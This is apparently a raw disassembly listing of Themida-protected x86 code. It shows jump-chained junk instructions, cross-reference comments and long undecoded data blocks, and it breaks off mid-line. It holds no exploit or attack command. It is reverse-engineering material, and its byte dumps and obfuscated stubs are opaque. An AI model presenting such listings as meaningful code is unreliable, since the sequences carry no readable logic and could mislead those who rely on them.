pop edx sub esp, 4 mov [esp], edi jmp loc_55CA51 ; --------------------------------------------------------------------------- dw 0C483h dd 59E83004h, 2EC81h, 89660000h, 5B7241Ch, 0BF1DE953h dd 0BB53FFFFh, 408F3315h, 0AA90EB81h, 15E95089h, 5EFFFFBFh dd 0FFC5FAE9h, 0E95D54FFh, 2633h ; --------------------------------------------------------------------------- loc_5579F0: ; CODE XREF: Themida_:00550BCDj add edi, 4 push ecx mov ecx, 4 jmp loc_554BE7 ; --------------------------------------------------------------------------- loc_557A01: ; CODE XREF: Themida_:00558123j add esp, 4 add ecx, 406969B3h xor eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push ebx mov ebx, 304D1E28h inc ebx dec ebx push ecx jmp loc_55A289 ; --------------------------------------------------------------------------- dd 0B551D828h, 80D5F61Bh, 0F58020E5h, 0C0C5FEA3h, 0ED8007E5h dd 59E828EFh, 0FFA419E9h, 0E4F181FFh, 819F85E9h, 8947F4C5h dd 0CF93E977h, 0C681FFFFh, 6F124F5Bh, 0BDE1C681h, 0F1898ADFh dd 8BCD015Eh, 0C481240Ch, 4, 3BCAE9h db 0 ; --------------------------------------------------------------------------- loc_557A79: ; CODE XREF: Themida_:00552807j add eax, edx add eax, 36003F46h pop edx push 60AEh mov [esp], esi push 1E376550h pop esi sub esp, 4 mov [esp], esi xchg edi, [esp] not edi xchg edi, [esp] pop esi jmp loc_5574D9 ; --------------------------------------------------------------------------- db 83h dd 0DBF704C4h, 0FFC147E9h, 94C181FFh, 8153F760h, 0C598EC1h dd 81D9F757h, 0F48756C1h, 59CD8938h, 4B9EED81h, 0EE01CF01h dd 242C8B5Dh, 0E904C483h, 415Eh, 0FF8F69E9h, 1AC181FFh dd 0C1646935h, 0F18104E1h, 68864862h, 0FFEF9EE9h, 4EC83FFh dd 2732E9h db 0 ; --------------------------------------------------------------------------- loc_557AF9: ; CODE XREF: Themida_:005511B0j add al, dh pop dx pop ecx mov cx, [esp] add esp, 2 jmp loc_5572D9 ; --------------------------------------------------------------------------- loc_557B0D: ; CODE XREF: Themida_:00556A8Aj push 6761h mov [esp], ecx mov cl, 8Bh not cl add cl, 0B6h jmp loc_5573BD ; --------------------------------------------------------------------------- loc_557B21: ; CODE XREF: Themida_:0055B88Aj sub esi, 567C0FBDh push esi pop edx jmp loc_554B0C ; --------------------------------------------------------------------------- dw 3C89h dd 509DBF24h, 0FA893869h, 81243C8Bh, 4C4h, 4366E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B46: ; CODE XREF: Themida_:0055B713j add esp, 4 shr edi, 2 shl edi, 1 push ebp jmp loc_55C010 ; --------------------------------------------------------------------------- dd 924248Bh, 0E99C2404h, 0FFFFA19Eh ; --------------------------------------------------------------------------- loc_557B60: ; CODE XREF: Themida_:0055AA35j mov [esp], eax jmp loc_55345F ; --------------------------------------------------------------------------- loc_557B68: ; CODE XREF: Themida_:00551EF7j add edi, 0FFFFFFFFh not edi or edi, 72DF61EFh jmp loc_55567C ; --------------------------------------------------------------------------- dd 6CDEBE56h, 0F0315F6Ah, 0E9D0F75Eh, 378Bh, 9D1C77FFh dd 0D3665966h, 0E99C241Ch, 0FFFF8EAEh, 0BA5255ADh, 4D0E4BFCh dd 8103E2C1h, 9B5B0AEAh, 5AD58945h, 15DE829h, 3C99E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557BB6: ; CODE XREF: Themida_:0055ADFEj xchg ebx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 jmp loc_554CF4 ; --------------------------------------------------------------------------- db 89h, 0E1h, 0E9h dd 0FFFFD73Dh, 0E4E9D729h, 8B000053h, 0E7E9241Ch, 4FFFFE3h dd 2CBD68EBh, 13E90000h, 0D0FFFF94h, 6E5C0E5h, 0E904EC83h dd 3317h, 63BF5753h, 0E9688903h, 3290h ; --------------------------------------------------------------------------- loc_557C04: ; CODE XREF: Themida_:0055A357j push edx push eax push 42B015CAh mov eax, [esp] add esp, 4 add eax, 33D1FA5Eh jmp loc_556E53 ; --------------------------------------------------------------------------- loc_557C1E: ; CODE XREF: Themida_:0055594Dj shr edi, 3 add edi, 3A9646EAh add edi, 0BF35147h mov eax, edi pop edi push ecx push esi jmp loc_556910 ; --------------------------------------------------------------------------- db 5Dh dd 0F87BB53h, 0E3C12489h, 4DBD5504h, 81362F46h, 0C50F42EBh dd 81EB0174h, 0C50F42C3h, 0E3C15D74h, 0E9D3F708h, 9E1h ; --------------------------------------------------------------------------- loc_557C60: ; CODE XREF: Themida_:0055231Aj xor [esp], al xor al, [esp] xor [esp], al jmp loc_550A46 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9572404h, 21BCh, 2C381h, 1C870000h, 0D5E7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C86: ; CODE XREF: Themida_:00555AF0j xchg ecx, [esp] pop esp xchg eax, [esp] pop esp jmp loc_55B869 ; --------------------------------------------------------------------------- db 52h dd 0FFBC0AE9h, 0DF0158FFh, 0A94BE95Bh, 0CFEFFFFh, 9BE99C24h dd 66FFFF8Dh, 68240C8Bh, 5ED6h, 0E9243489h, 0CD4h, 81241C8Bh dd 4C4h, 8D7CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CCA: ; CODE XREF: Themida_:00556EAAj add ebx, eax push dword ptr [ebx] pop ecx mov ebx, [esp] jmp loc_5542CC ; --------------------------------------------------------------------------- db 5Ch dd 4C181h, 74E90000h, 89FFFFB0h, 0E952241Ch, 0FFFFDBADh ; --------------------------------------------------------------------------- loc_557CEC: ; CODE XREF: Themida_:00553FC2j pop esp add ebx, 4 sub ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ax jmp loc_550A46 ; --------------------------------------------------------------------------- aN1S0 db '╜1ьИ"0',0 align 2 dw 1489h aF_3 db '$╡fЁ',8,0 dw 8BD3h dd 89562414h, 1F19E9E6h, 0AF2D0000h, 5A7A3A57h, 613468h dd 240C8900h, 5C02BF57h, 0EF8138B0h, 0BB31F34Ah, 3D55E950h dd 295F0000h, 0B3AFE9C3h, 8B66FFFFh, 0E955240Ch, 0FFFFDA5Fh ; --------------------------------------------------------------------------- loc_557D5C: ; CODE XREF: Themida_:00557154j sub esp, 4 mov [esp], ebx push edx mov edx, 40000h mov ebx, edx push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_55C83A ; --------------------------------------------------------------------------- dw 8B66h dd 0F6E9240Ch, 56FFFFF7h, 676AC6BEh, 0F6C6813Fh, 0E91F9A4Ah dd 49h, 4B012D40h, 0C189D534h, 0B103E958h, 0EE80FFFFh dd 97B8E94Fh, 489FFFFh, 66D66824h, 34890000h, 6EE16824h dd 0C890000h, 7025B924h, 33BE0BF6h, 2948DB84h, 743159CEh dd 0F0E90424h, 66FFFFC8h, 5624048Bh, 0FFAABEE9h, 12BF57FFh dd 31FA7178h, 0F7295FFEh, 5FFA015Eh, 0FF8C4DE9h, 0B85059FFh dd 49EA4F24h, 5F459025h, 50C4E960h, 8B660000h, 5368240Ch dd 89000048h, 8B542434h, 0C4832434h, 0E7BF5704h, 8118607Dh dd 607DE3EFh, 5FFE0118h, 668968h, 24048900h, 0CB1CE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E3A: ; CODE XREF: Themida_:005540C8j and eax, esi push dword ptr [esp] pop esi push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5545D4 ; --------------------------------------------------------------------------- db 81h dd 9E4C50C3h, 0F427E947h, 0F281FFFFh, 77081A1Fh, 0EC0EA81h dd 0D331E290h, 0E924148Bh, 0FFFFB24Bh, 1CCA68h, 24148900h dd 0B353EAB2h, 0C0DBF6EEh, 0C3FE07EBh, 0E993C380h, 0FFFFD90Eh ; --------------------------------------------------------------------------- loc_557EA0: ; CODE XREF: Themida_:00555268j xor ebx, eax jmp loc_55A9C5 ; --------------------------------------------------------------------------- db 54h dd 5324048Fh, 4BBh, 245C0100h, 0F6A7E904h, 0BD55FFFFh dd 79A55250h, 2952CD81h, 0DDF71B57h, 0FFFFC581h, 0E5C1FFFFh dd 2EDC107h, 0C63BF581h, 0EB29365Fh, 242C8B5Dh, 34E95455h dd 29000025h, 0C875DE9h, 6E95C24h, 89FFFFF2h, 0D2682434h dd 5E437616h, 350DC681h, 0D6F72676h, 87E9h, 0CA685300h dd 5B561665h, 4EC81h, 2C890000h, 7CC0BD24h, 0E5C14A62h dd 57F58108h, 21523FC7h, 2434FFEBh, 376EE9h, 51732400h dd 5EE9E6B5h, 89FFFF9Ah, 5BD889D3h, 571BB5Ah, 9FE94397h dd 5D000037h, 4764FD05h, 0E9C8012Bh, 0FFFFCF0Ah, 0E9E88850h dd 4541h, 2FFA68h, 242C8900h, 43B6BB53h, 0EB812A93h, 0FFFFFFFFh dd 0E9BB5350h, 0E90D0518h, 181Dh, 54243C89h, 4C7815Fh dd 0E9000000h, 0FFFF9F1Bh, 0E902EEC1h, 0FFFFAEFEh, 0E924248Bh dd 157Eh, 2C146853h, 0E95B1887h, 0FFFFAC53h, 0E9243431h dd 5BBh, 0FF8A8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_557FB9: ; CODE XREF: Themida_:005535E3j pop esp push edi push ebp push 28E6F0Ah jmp loc_55991D ; --------------------------------------------------------------------------- dw 0EB81h dd 0A2A9DE49h, 875BD801h, 555C2404h, 0ABF6B5BDh, 0D741E913h dd 875FFFFFh, 248B2404h, 241C3324h, 33241C31h, 63E9241Ch dd 8900000Dh, 4C6168E2h, 1C890000h, 4BB24h, 0F8E90000h dd 83000027h, 0C8704E9h, 24248B24h, 89243C89h, 0AA48E9E7h dd 188FFFFh, 0E9240C8Bh, 27C2h, 8B2434FFh, 0C4832404h dd 0FCE95004h, 0B9FFFFA9h, 699E6B59h, 8106E1C1h, 5A1555F1h dd 0E9D1F74Dh, 0FFFFDBB4h, 0F381D3F7h, 60DB49FFh, 3FADE381h dd 27E91379h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55805B: ; CODE XREF: Themida_:00558A57j mov edx, 0ED392407h add edx, edi pop edi push ebx mov ebx, 17D35E23h or edx, ebx pop ebx add edx, 72AE2889h jmp loc_559853 ; --------------------------------------------------------------------------- db 5Eh dd 0E9240C87h, 0BB3h, 13DBB53h, 53E9F1DBh, 3300004Ah, 0C31240Ch dd 240C3324h, 0FFAF49E9h, 815F5BFFh, 784B0AC3h, 0AC38172h dd 163B962h, 0AC055BD8h, 0E961A523h, 0FFFF9E11h, 8704C383h dd 335C241Ch, 4312404h, 24043324h, 48B665Ch, 4BAE6824h dd 2C890000h, 51E95424h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5580D7: ; CODE XREF: Themida_:00552442j add ebp, 7D503D14h jmp loc_555011 ; --------------------------------------------------------------------------- loc_5580E2: ; CODE XREF: Themida_:005544E1j ; Themida_:0055754Ej ... push dword ptr [edi+24h] mov ecx, [esp] push eax mov eax, esp jmp loc_55CB0C ; --------------------------------------------------------------------------- loc_5580F0: ; CODE XREF: Themida_:005541B4j mov esi, ebp jmp loc_554FFF ; --------------------------------------------------------------------------- loc_5580F7: ; CODE XREF: Themida_:005522A2j pop esp sub esi, 5D3870F7h xchg ebp, esi inc ebp jmp loc_55C785 ; --------------------------------------------------------------------------- loc_558106: ; CODE XREF: Themida_:00559559j sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5559A2 ; --------------------------------------------------------------------------- loc_55811E: ; CODE XREF: Themida_:0055BAD1j or ecx, ebp mov ebp, [esp] jmp loc_557A01 ; --------------------------------------------------------------------------- dd 7DE97904h, 8B00001Dh, 94E92404h, 89FFFFF7h, 0F201E9D6h dd 31ADFFFFh, 0DD68D8h, 34890000h, 86C1BE24h, 0CE9522Dh dd 83FFFF8Bh, 2C8904ECh, 286824h, 555D0000h, 0FAD1E95Ah dd 0C768FFFFh, 89000035h, 565E241Ch, 50606850h, 1C890000h dd 1CF3BB24h, 0E3C138A8h, 1DC38103h, 0E964CE6Ch, 4DCAh dd 0F6C9FE5Bh, 4EC81D1h, 89000000h, 0E9512404h, 0FFFF8973h dd 0CD81DDF7h, 3F9F714Eh, 0C581D5F7h, 49D601CEh, 0FFD5C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5581B5: ; CODE XREF: Themida_:0055BF03j add esp, 4 pop edx pop ecx loc_5581BD: ; CODE XREF: Themida_:005577E4j push 24F4h mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, 30056EE9h add edi, 5BEF6F5Dh add edi, ebx sub edi, 5BEF6F5Dh sub edi, 30056EE9h pop ebx push 30D6h mov [esp], ebp jmp loc_5536D3 ; --------------------------------------------------------------------------- loc_5581F5: ; CODE XREF: Themida_:0055C65Cj pop eax add ebx, ecx push edx mov edx, 231E628Eh push esi mov esi, 688060E8h jmp loc_551CCB ; --------------------------------------------------------------------------- loc_558209: ; CODE XREF: Themida_:00555704j push 7C5Ch mov [esp], ecx jmp loc_55CF5D ; --------------------------------------------------------------------------- loc_558216: ; CODE XREF: Themida_:00551337j xor eax, 56DA6217h add ecx, 73CD47E9h jmp loc_55B8E5 ; --------------------------------------------------------------------------- dw 0BA52h dd 178F7456h, 68BE9h db 0 ; --------------------------------------------------------------------------- loc_558231: ; CODE XREF: Themida_:005592AEj pop ecx jmp loc_555AE4 ; --------------------------------------------------------------------------- db 66h dd 0EFE9E9F7h, 31000024h, 72E92434h, 53000044h, 0D768E389h dd 89000063h, 4B82404h, 1000000h, 24048BC3h, 5504C483h dd 2BDh, 0AEEB8100h, 125055Fh, 0AEC381EBh, 0E925055Fh dd 4C42h, 0B9240C89h, 0AF28F5h, 36E9CA29h, 55000001h, 0FFF454E9h dd 0C48359FFh, 66DA2804h, 81241C8Bh, 2C4h, 0C8C28000h dd 148BD000h, 4C48324h, 5343B652h, 0F0E9F388h, 81FFFF87h dd 4ECh, 24148900h, 7FA30BBAh, 5AD729FEh, 34FFF831h, 54565F24h dd 0FFB8F9E9h, 2434FFFFh, 5024048Bh, 405E089h, 5000000h dd 4, 0E9240487h, 0FFFF88C9h, 81D830ACh, 4ECh, 90FE900h dd 0BF570000h, 5E9414F1h, 0E95FFA29h, 0FFFF9565h, 46C6BD55h dd 0C2B9427Bh, 31427B46h, 0FC31E9E9h, 31ADFFFFh, 5F6856D8h dd 89000001h, 77B82404h, 5168E528h, 0E83DFBB9h, 0E9D1F74Ch dd 2772h, 7E9028Fh, 50FFFF87h, 0A27D80B8h, 58C72916h, 7959C781h dd 0A5E96F64h, 0BEFFFF93h, 722168BAh, 12B2E9h, 4895C00h dd 0D4E924h, 0E0890000h, 3FF768h, 240C8900h, 4B9h, 0E9C80100h dd 0FFFF8CD1h, 5D2434FFh, 81E68956h, 4C6h, 4C68300h, 2D60E9h db 0 ; --------------------------------------------------------------------------- loc_558391: ; CODE XREF: Themida_:00551A44j mov [edi+eax*4], dh jmp loc_550B06 ; --------------------------------------------------------------------------- aItsd db '┴БИd#',0 align 10h dd 1C8BDF31h, 0F747E924h, 0C483FFFFh, 5AF02804h, 161768h dd 241C8900h, 0FFBC0AE9h, 0C68159FFh, 77533EBEh, 4A2AE9h db 0 ; --------------------------------------------------------------------------- loc_5583C9: ; CODE XREF: Themida_:00559D77j pop eax jmp loc_550CF4 ; --------------------------------------------------------------------------- aPs_0 db 'PИЛ,',0 dd 83555C00h, 0FE904ECh, 88FFFFB6h, 0C8B66EFh, 2C48324h dd 0FFA5C7E9h, 241CF7FFh, 8650E99Ch, 835CFFFFh, 1C8904ECh dd 66E3B724h, 30B5B050h, 883FE9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55840A: ; CODE XREF: Themida_:0055BC31j add ecx, ebp pop ebp push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_556174 ; --------------------------------------------------------------------------- dw 489h dd 906B824h, 54023CCh, 0DC33F6FDh, 16DFE9h db 0 ; --------------------------------------------------------------------------- loc_55842D: ; CODE XREF: Themida_:00550E74j mov ebp, 5BE668E4h add ebp, 0FFFFFFFFh jmp loc_55B131 ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF95E6h, 0E9DCE95Bh, 0ED81FFFFh, 0A9489D4Dh, 0F6E9E901h dd 66FFFF92h, 83240C8Bh, 1C8904ECh, 1C8B5424h, 4C48324h dd 57A6BD55h, 9BE9708Bh, 51000013h, 592414F7h, 5B240C87h dd 0C381D3F7h, 8450944Ah, 95BDD89h, 0D5E91C6Fh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55848B: ; CODE XREF: Themida_:00552FC8j pop ebx xor edx, edi pop edi xor ebx, edx pop edx xor ebp, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55B639 ; --------------------------------------------------------------------------- loc_5584A3: ; CODE XREF: Themida_:005521D6j pop ecx sub bl, dl sub esp, 4 mov [esp], edx mov dh, 0CFh sub dh, 87h shr dh, 7 add dh, 24h sub bl, dh pop edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55C89E ; --------------------------------------------------------------------------- dw 0F181h dd 94FEB805h, 0E959CF29h, 0FFFFFE63h, 4C4815Bh, 66000000h dd 0FEBE950h, 0C4830000h, 0B9BE5604h, 0E9D65D9Fh, 0FFFFCEBFh ; --------------------------------------------------------------------------- loc_5584F8: ; CODE XREF: Themida_:00552BE5j sub esp, 4 jmp loc_55205E ; --------------------------------------------------------------------------- dd 7985E181h, 0D9F752FBh, 0FA60BB53h, 3EE9AFB4h, 0AD000009h dd 0E904EC83h, 0EB5h, 80E9D030h, 66000015h, 1BE9028Fh dd 0B3FFFF85h, 3E3C085h, 17C2E9h, 0E9555900h, 0FFFFE33Bh ; --------------------------------------------------------------------------- loc_55853C: ; CODE XREF: Themida_:00551FB1j mov ah, ch mov dl, ah jmp loc_55C890 ; --------------------------------------------------------------------------- db 1, 0F1h, 0E9h dd 2CDh, 240C8B66h, 1D90E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558556: ; CODE XREF: Themida_:00556C78j mov esi, 24D72869h mov ebx, 68236284h sub ebx, esi jmp loc_5541EB ; --------------------------------------------------------------------------- db 89h dd 0D7E9240Ch, 33FFFF84h, 248B2434h, 24148924h, 3251E9h dd 66C4FE00h, 75B551h, 285966ECh, 0EB8058E3h, 2CC38009h dd 0EB80C328h, 9B6522Ch, 49D4E9h, 5AD03100h, 2687E9h db 0 ; --------------------------------------------------------------------------- loc_5585A5: ; CODE XREF: Themida_:00556463j pop ebx add ebx, 4 jmp loc_551B97 ; --------------------------------------------------------------------------- loc_5585B1: ; CODE XREF: Themida_:0055A52Ej pop eax sub ebp, 6802369Ch add ebp, 69553AD8h jmp loc_556426 ; --------------------------------------------------------------------------- db 5Ah dd 34FFDF01h, 98B3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585CE: ; CODE XREF: Themida_:0055A03Aj push esp pop ecx add ecx, 4 push 32A5h mov [esp], esi push eax push 23CB0614h pop eax shl eax, 5 xor eax, 4FF99005h push edx mov edx, eax mov esi, edx pop edx pop eax shl esi, 4 inc esi add esi, 966AD7B3h add ecx, esi mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ecx push edi mov edi, 1D6E757Eh mov ecx, edi pop edi add eax, ecx pop ecx jmp loc_551CE3 ; --------------------------------------------------------------------------- loc_558625: ; CODE XREF: Themida_:005555A9j push edi mov edi, 5FB05FDCh mov edx, edi pop edi shr edx, 3 and edx, 100C0473h add edx, 1 neg edx jmp loc_555858 ; --------------------------------------------------------------------------- db 81h, 0C3h, 32h dd 1CD6314h, 0BAE95BDAh, 0BFFFFFD0h, 35E366AFh, 5CFFB850h dd 0C7092208h, 0E9DFF758h, 4444h, 240C8B66h, 1E2F6850h dd 0F4E90000h, 81000040h, 0FB37A2C3h, 857FE947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55867E: ; CODE XREF: Themida_:0055BC3Fj and eax, 0EF06814h neg eax inc eax sub eax, 0FD6FDFF9h sub edi, eax jmp loc_55AB94 ; --------------------------------------------------------------------------- dw 0EB81h dd 4FDD5675h, 875BD901h, 5C240Ch, 836E04D8h, 0C8904ECh dd 536A6824h, 14890000h, 0E9BAB224h, 0FFFFF7CCh, 328ECD81h dd 0C5814AE9h, 570F46D7h, 25E9DDF7h, 100003Fh, 5BC581F5h dd 5E64903Eh, 8B242C87h, 8B662424h, 68552404h, 1DBCh, 51242489h dd 4B9h, 244C0100h, 240C8B04h, 8B04C483h, 0C481242Ch, 4 dd 4C581h, 0BA520000h, 4BF159B3h, 1204F281h, 0DAF778C0h dd 0B44BF281h, 0D501CCCEh, 4B9685Ah, 2C890000h, 2474FF24h dd 242C8B04h, 4C481h, 48F0000h, 24248B24h, 0F66E1F6h, 4A68CCB6h dd 8900002Fh, 0BCE9242Ch db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55874B: ; CODE XREF: Themida_:00554B8Fj sub ebx, 156377BDh add ebx, edi jmp loc_553BE9 ; --------------------------------------------------------------------------- dd 66C2C580h, 66511168h, 0B4240489h, 66E530D5h, 52DDF658h dd 0FF8C12E9h, 52E589FFh, 4BAh, 0C6D1E900h, 0F66FFFFh dd 9C2404B3h, 0FF82BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_558789: ; CODE XREF: Themida_:0055993Fj mov edi, [esp] add esp, 4 jmp loc_558C43 ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4685100h, 59000000h, 6D6CEE81h, 4DE96C33h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5587AF: ; CODE XREF: Themida_:0055CB3Fj pop ebx sub ebx, 15D00457h push ebx pop esi pop ebx xor esi, 0D610C28h sub esi, 67EF4FD8h dec esi push ebx mov ebx, 205223C2h shl ebx, 8 inc ebx shl ebx, 7 or ebx, 158A40E4h xor ebx, 0A33FF33Bh xor esi, ebx pop ebx jmp loc_551CB8 ; --------------------------------------------------------------------------- db 50h dd 0D09ACB8h, 58C78969h, 1208E9h, 0D831AD00h, 8904EC83h dd 5650240Ch, 2A02E9h, 823CE900h, 0E289FFFFh, 4BE56h, 0F2010000h dd 0FFACEDE9h, 24E95EFFh db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55881F: ; CODE XREF: Themida_:005536ADj xchg ecx, [esp] mov esp, [esp] xor edx, edx sub esp, 4 mov [esp], ebx push ebp mov ebp, 448D6DCDh sub dword ptr [esp+4], 50A97A7Eh jmp loc_55A84A ; --------------------------------------------------------------------------- dd 624868h, 3C716800h, 0EC810000h, 4, 83242489h, 8F042404h dd 0C6E92404h, 8BFFFFB0h, 0C4832414h, 0C0B60F04h, 21DFE9h dd 8AED8000h, 0F696F580h, 0FEE580D5h, 0FFB5F8E9h, 240489FFh dd 405E089h, 51000000h, 4B9h, 59C80100h, 5C240487h, 5604C483h dd 0C681E689h, 4, 4C681h, 34870000h, 0EC835C24h, 24048904h dd 17B85051h, 0E97F510Dh, 0FFFF9D78h, 0F281DAF7h, 41DB669Ah dd 6E36F281h, 9FE95557h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5588CF: ; CODE XREF: Themida_:005574F2j or edi, 39B44324h shl edi, 4 xor edi, 9199CFF0h xor ebx, edi pop edi and eax, ebx mov ebx, [esp] jmp loc_5544D9 ; --------------------------------------------------------------------------- db 87h dd 86E9243Ch db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5588F3: ; CODE XREF: Themida_:00556F7Aj add ebx, 4 xchg ebx, [esp] pop esp dec ebx jmp loc_550B27 ; --------------------------------------------------------------------------- db 88h dd 0F094E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55890A: ; CODE XREF: Themida_:0055A0C3j mov eax, 0 add eax, ebx push edx push eax mov eax, 0 mov edx, eax jmp loc_556265 ; --------------------------------------------------------------------------- db 5Ah dd 0D896E95Bh, 0BE56FFFFh, 74513D0Dh, 962BE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558932: ; CODE XREF: Themida_:0055BA36j add edx, eax pop eax mov esi, edx pop edx sub eax, 2123801h sub eax, esi add eax, 2123801h mov esi, [esp] jmp loc_55508E ; --------------------------------------------------------------------------- dd 0C8B60F66h, 0E99C5166h, 0FFFF80EEh, 0BF243C89h, 4, 0E040E62Dh dd 0E9F8011Bh, 405Fh, 8102EBC1h, 0DD5677CBh, 0FD18E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55897A: ; CODE XREF: Themida_:00550D17j push 4914h mov [esp], ebx pop edx pop ebx mov eax, edx pop edx push dword ptr [esp] pop ebp jmp loc_5556F4 ; --------------------------------------------------------------------------- dd 0A0E9E689h, 0BBFFFFD1h, 599C79D8h, 15EF331h, 826E9D8h dd 8B660000h, 6852240Ch, 0C25h, 52242489h, 77EB6857h, 815F4745h dd 2936CDC7h, 0B471E92Eh, 685BFFFFh, 62DAh, 52243C89h dd 5C270068h, 1866E95Ch, 0B8500000h, 69954E56h, 0E907E8C1h dd 0FFFFF3B4h, 50F5015Fh, 0D74A00B8h, 58C5294Ah, 5E2434FFh dd 8304C483h, 2C8702C5h, 0D3E95C24h, 80FFFFDAh, 0F73007EEh dd 0E924148Bh, 0FFFFBBD3h ; --------------------------------------------------------------------------- loc_558A14: ; CODE XREF: Themida_:00552821j add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5539B4 ; --------------------------------------------------------------------------- loc_558A39: ; CODE XREF: Themida_:00556372j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push 5D25h mov [esp], edx push edi mov edi, 5DA10806h jmp loc_55805B ; --------------------------------------------------------------------------- dd 0FFFFC781h, 0EF81FFFFh, 751511BDh, 6D4ABE56h, 0CDE94C2Dh dd 81000034h, 61004AEBh, 24148B00h, 4C481h, 21E90000h dd 80FFFFDFh, 0B60F3EC3h, 87048FC0h, 0FF8BCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_558A95: ; CODE XREF: Themida_:0055498Aj add ecx, edx pop edx and eax, ecx pop ecx shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], ebx push ecx mov ecx, 37502797h sub [esp+4], ecx pop ecx pop eax push 3FF5h mov [esp], ebp mov ebp, 37502797h push ebp mov ebp, 56721FCAh inc ebp xor ebp, 3A1442D3h add eax, ebp jmp loc_55B1EF ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4C581h, 0C9E90000h, 9FFFF9Dh, 835A1C57h dd 348904ECh, 0F674E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558AF2: ; CODE XREF: Themida_:0055A2BCj pop ebx push edx mov edx, 705259E6h xor ecx, edx mov edx, [esp] add esp, 4 jmp loc_5541C3 ; --------------------------------------------------------------------------- dw 2BEh dd 1000000h, 0FF525EF2h, 5A042474h, 741E9h, 0E9F82800h dd 39D3h ; --------------------------------------------------------------------------- loc_558B20: ; CODE XREF: Themida_:00554276j mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_555A45 ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 dd 5CBB5324h, 897AFC1Ch, 44295BD8h, 0E9580424h, 0FFFF7EF2h ; --------------------------------------------------------------------------- loc_558B54: ; CODE XREF: Themida_:00558C2Ej add esi, 4 add esi, 4 jmp loc_558EB2 ; --------------------------------------------------------------------------- loc_558B65: ; CODE XREF: Themida_:005555E4j and eax, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55C842 ; --------------------------------------------------------------------------- loc_558B72: ; CODE XREF: Themida_:0055CC39j not edx push edx push ecx pop edx pop ecx jmp loc_555E81 ; --------------------------------------------------------------------------- db 5Bh, 29h, 0FDh dd 3382ED81h, 15F34A8h, 34875DEEh, 24248B24h, 9C240CFFh dd 32FFE9h, 0E9F12900h, 294Dh, 0E368D828h, 89000057h, 93B7241Ch dd 0E92DF780h, 0FFFFAA6Dh, 0C781D729h, 12747E6Dh, 8324148Bh dd 0EF8104C4h, 4BD13409h, 562FBB53h, 0E3812038h, 301D3252h dd 6CBFE381h, 0EB810F82h, 0ADA19B34h, 0FF979FE9h, 0FCB252FFh dd 805AD330h, 38E96CC3h, 89FFFF9Dh, 74FF242Ch, 8F5D0424h dd 895C2404h, 9C502414h, 0FF7E3DE9h, 241489FFh, 89E9B3B6h dd 0E900003Dh, 0FFFF7E2Eh, 57B1C781h, 0CF017867h, 57B1EF81h dd 0B7E97867h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558C2B: ; CODE XREF: Themida_:00551D0Fj push esi push esp pop esi jmp loc_558B54 ; --------------------------------------------------------------------------- db 8Bh dd 0BE0F2424h, 0CC868C8h, 24E90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C43: ; CODE XREF: Themida_:0055878Fj pop dword ptr [esp] jmp loc_55B305 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0CFF6624h, 0EBE99C24h, 1FFFF7Dh, 5CFB2DD0h dd 515A2A52h, 81FF3B9h, 7E9C149h, 5602E1C1h, 0A6507BEh dd 0E289521Ah, 4C281h, 0EA830000h, 6F2E904h, 0C4810000h dd 4, 68E78957h, 6965h, 0B8240489h, 4, 48BC701h, 4C48324h dd 4B850h, 0C7010000h, 1363E958h, 89560000h, 